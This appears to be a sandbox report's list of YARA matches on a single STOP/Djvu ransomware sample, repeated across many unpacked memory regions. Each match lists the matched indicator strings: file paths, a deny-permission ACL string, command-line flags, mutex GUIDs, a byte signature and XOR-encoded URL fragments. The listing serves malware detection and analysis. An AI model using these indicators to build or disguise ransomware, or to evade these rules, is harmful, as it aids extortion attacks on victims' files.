9.2.bE5aaTiJM0.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.bE5aaTiJM0.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.0.bE5aaTiJM0.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
2.0.bE5aaTiJM0.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.bE5aaTiJM0.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
16.0.bE5aaTiJM0.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
16.0.bE5aaTiJM0.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.0.bE5aaTiJM0.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.0.bE5aaTiJM0.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
11.0.bE5aaTiJM0.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
11.0.bE5aaTiJM0.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
11.0.bE5aaTiJM0.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
11.0.bE5aaTiJM0.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.0.bE5aaTiJM0.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.bE5aaTiJM0.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.bE5aaTiJM0.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.bE5aaTiJM0.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.bE5aaTiJM0.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.0.bE5aaTiJM0.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.bE5aaTiJM0.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
2.0.bE5aaTiJM0.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.bE5aaTiJM0.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.bE5aaTiJM0.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.0.bE5aaTiJM0.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
12.0.bE5aaTiJM0.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
12.0.bE5aaTiJM0.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
12.0.bE5aaTiJM0.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.bE5aaTiJM0.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
2.2.bE5aaTiJM0.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
